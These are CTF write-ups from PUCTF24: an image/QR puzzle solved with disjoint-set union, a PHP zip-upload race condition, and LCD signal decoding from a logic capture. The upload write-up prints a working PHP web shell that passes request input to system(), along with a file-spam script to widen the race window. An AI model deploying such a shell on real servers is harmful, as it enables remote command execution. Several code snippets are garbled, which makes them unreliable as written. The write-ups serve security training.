Cats or Dogs?

Write-Up by happypotato

Part 1: Inspecting the file

We were given an extremely large .jpg filled with images of cats and dogs. The dimensions of the image are 26250 * 26250, with each small image being 350 * 350. We checked the metadata and browsed the hex file of the image, but to no avail. Looking at the picture again, we thought of creating a qr code with cats as white and dogs as black.

Upon further inspection, we noticed that every 3 * 3 grid has the same species, and some pictures appear in different parts of the photo.

Screenshot 2024-03-05 185113

Each 3 * 3 grid is the same (the purple square), and some images are identical (the cat circled yellow).

Part 2: Disjoint Set Union

We are motivated to perform Disjoint Set Union on those images (more on that could be found here). Here is my implementation of DSU:

class DSU:
    par, sz = [], []
    def __init__(self, n):
        self.par = [i for i in range(n)] = [1 for i in range(n)]
    def Find(self, u):
        if self.par[u] == u:
            return u
            self.par[u] = self.Find(self.par[u])
            return self.par[u]
    def Union(self, u, v):
        u = self.Find(u)
        v = self.Find(v)
        if u == v:
            return False
            if[u] <[v]:
                u, v = v, u
            self.par[v] = u
  [u] +=[v]
            return True

Part 3: Solving the remaining puzzle

Now that we know what DSU is, we can perform the following:

  • Union all images in every 3 * 3 grid, and
  • Union all same images (that includes pictures in different grids).

Note that as .jpg uses a lossy compression, the images are not exactly the same; to solve this problem, we have to consider the error caused by compression and set a certain threshold in the IsEqual() function. Most sensible methods work as well, but here is my implementation of the IsEqual() function (sorry for bad implementation!):

# lhs, rhs are cropped images of the original file with dimensions 350 * 350
width = 350
def IsEqual(lhs, rhs):
    BLOCK = 5
    for i in range(BLOCK):
        for j in range(BLOCK):
            lhash, rhash = 0, 0
            for x in range(i * (width // BLOCK), (i + 1) * (width // BLOCK)):
                for y in range(j * (width // BLOCK), (j + 1) * (width // BLOCK)):
                    lhash += sum(lhs.getpixel((x, y)))
                    rhash += sum(rhs.getpixel((x, y)))
            if abs(lhash - rhash) > (((width // BLOCK) ** 2) * 256 * 3 * 0.01):
                return False
    return True

After merging, because of DSU, all the images in the same set are either all cats or all dogs.

After running our code, we (surprisingly) found out that there are only 22 disjoint sets. We can now determine whether the images in each set are cats or dogs manually.

We then take those data and convert it into an image again. We get this QR code:


Scanning it with a QR code scanner online give us the flag PUCTF24{ILikeHum4nsM0re:P_8e0af}.


Write-Up by nsysean

Challenge Summary

Users can upload zip files not larger than 2097152 bytes to a server. The unzippped contents will then be put in a /uploads/ folder. After that, the program will loop through all files in an attempt to remove all files not ending with the .jpg or .png file extension. The flag is hidden at flag.php

        die("No file uploaded");
    else if($_FILES["file"]["size"] > 2097152){
        die("File size is too large");
    else if(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION) != "zip"){
        die("File extension is not supported");
    else if(file_get_contents($_FILES["file"]["tmp_name"], FALSE, NULL, 0, 2) != "PK"){
        die("File is not a zip file");
    else if(!move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"])){
        die("File is not uploaded");
        $dir = "uploads/" . pathinfo($_FILES["file"]["name"], PATHINFO_FILENAME);
            die("Directory is already exists");
        $zip = new ZipArchive;
        $res = $zip->open("uploads/" . $_FILES["file"]["name"]);
        if($res === TRUE){
            for($i = 0; $i < $zip->numFiles; $i++) {
                $filename = $zip->getNameIndex($i);
                $fileinfo = pathinfo($filename);
                copy("zip://"."./uploads/" . $_FILES["file"]["name"]."#".$filename, $dir . "/". $fileinfo['basename']) or die("Unzip failed!");

            $files = scandir($dir);
            foreach($files as $file){
                if($file != "." && $file != ".."){
                    if(pathinfo($file, PATHINFO_EXTENSION) != "jpg" && pathinfo($file, PATHINFO_EXTENSION) != "png"){
                        unlink($dir . "/" . $file);

            unlink("uploads/" . $_FILES["file"]["name"]);
            echo "File is uploaded successfully";

Finding the vulnerability

We can notice that the server unzips and copies all the files into the /uploads/ folder, then runs a for loop to check each file.

Then it is obvious that technically, you can upload any file you want and it can be accessed until the for loop reaches said file.

Since the server is running on php, if we upload a php file that provides us with a web shell to the server, then we can do whatever we want!

Unfortunately, since the server only keeps .jpg and .png files, we need to find a way to extend the time frame between the when the file is uploaded and when it is deleted!

One way to do this is to add more abundant files, such that the server takes more time to copy those files into the /uploads/ folder.

Keep in mind that we need to make sure the web shell file is reached before the spam files, so we are going to name is 1.php.



for ((i=1; i<=2000; i++)) # 2000 files should last a good 10 seconds
     convert -size 1x1 xc:#ffffff name/$i.png;


<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

After putting the generated files and web shell into the same folder and zip it, we can upload the zip file onto the server, then execute the command below.




The lost flag

Write-Up by happypotato

Disclaimer: Sorry if I am not using the correct name for the data/parts used in this question; this is my first time learning these

Part 1: Examining the task

We are given a .ino source code, a .csv file (Sniffed_Conversations.csv) and some photos connecting to a board. The time and 8 channels, namely Channel 0-7, are logged in the .csv file. It seems like the flag can be retrieved by understanding what is going on in the file.

Part 2: Reading comprehension

Part 2a: Analysing the circuit

With this image commented at the top of the source code, we can match the channels to their functions using the photos given. We find out a few things:

  • LCDPin_EN is at Channel 3
  • LCDPin_RS is at Channel 4
  • LCDPin_D4,5,6,7 are at Channel 2,1,0,7 respectively

Part 2b: Analysing the code

We now examine how data is transferred to the device. Looking at the following codes:

// Write 4-bits to data pin
void writeDataPin(uint8_t byte) {
  // Write lower 4 bits of `byte` to DB4-DB7
  // Very dumb way to do this, but I just want to make sure it's easy to understand
  if((byte & 0x08) == 0x08) { digitalWrite(LCDPin_D7, HIGH); }else{ digitalWrite(LCDPin_D7, LOW); }
  if((byte & 0x04) == 0x04) { digitalWrite(LCDPin_D6, HIGH); }else{ digitalWrite(LCDPin_D6, LOW); }
  if((byte & 0x02) == 0x02) { digitalWrite(LCDPin_D5, HIGH); }else{ digitalWrite(LCDPin_D5, LOW); }
  if((byte & 0x01) == 0x01) { digitalWrite(LCDPin_D4, HIGH); }else{ digitalWrite(LCDPin_D4, LOW); }


// Sends data to the LCD
void lcdData(uint8_t data) {
  // We are in 4-bits data mode
  // So the first 4-bits (higher nibble) will be sent
  // Then the low 4-bits (lower nibble) will be sent

  writeDataPin(((data & 0xF0) >> 4)); // First 4-bits
  digitalWrite(LCDPin_RS, HIGH); // Selecting "Data" Register
  // Generate High-to-low pulse at EN to latch data into the HD44780
  digitalWrite(LCDPin_EN, HIGH);
  digitalWrite(LCDPin_EN, LOW); // Generate High-to-low pulse at EN to latch data into the HD44780

  writeDataPin((data & 0x0F)); // Remaining 4-bits
  // Generate High-to-low pulse at EN to latch data into the HD44780
  digitalWrite(LCDPin_EN, HIGH);
  digitalWrite(LCDPin_EN, LOW); // Generate High-to-low pulse at EN to latch data into the HD44780

We find out that the ASCII of a character is D7_1 D6_1 D5_1 D4_1 D7_2 D6_2 D5_2 D4_2 in binary, where Dx_1, Dx_2 represents the first and second call respectively. This translates to C7_1 C0_1 C1_1 C2_1 C7_2 C0_2 C1_2 C2_2 where Cx represents Channel x.

We also find out that after each writeDataPin() call, digitalWrite(LCDPin_EN, HIGH) is called, assinging LCDPin_EN to 1, followed by digitalWrite(LCDPin_EN, LOW), assigning it to 0. This means that we can treat C3 as a “save state” and only consider rows with C3 = 1.

Finally, looking at the lcdCmd() function, we realise that LCDPin_RS is 0 if the current message sent is a command and 1 if the current message sent are some data.

Part 3: Solving the remaining bits

With the above observations, we can extract all rows with C3 = 1 and C4 = 1 and calculate the ASCII value of those characters according to the ordering mentioned above. The following code is for calculating ASCII values:

#include <bits/stdc++.h>
using namespace std;
int main() {
    vector<int> v = {7, 0, 1, 2};
    for (int inp = 0; inp < 56; inp++) {
        int cur = 0;
        bool a[8];
        for (int rep = 0; rep < 2; rep++) {
            for (int i = 0; i < 8; i++) {
                cin >> a[i];
            for (int x : v) {
                cur = ((cur << 1) | a[x]);
        cout << char(cur);
    cout << '\n';

We get THE LOST FLAG PUCTF24{SecretD4t4_1n_S1gn4lTr4c3_9f4e0}.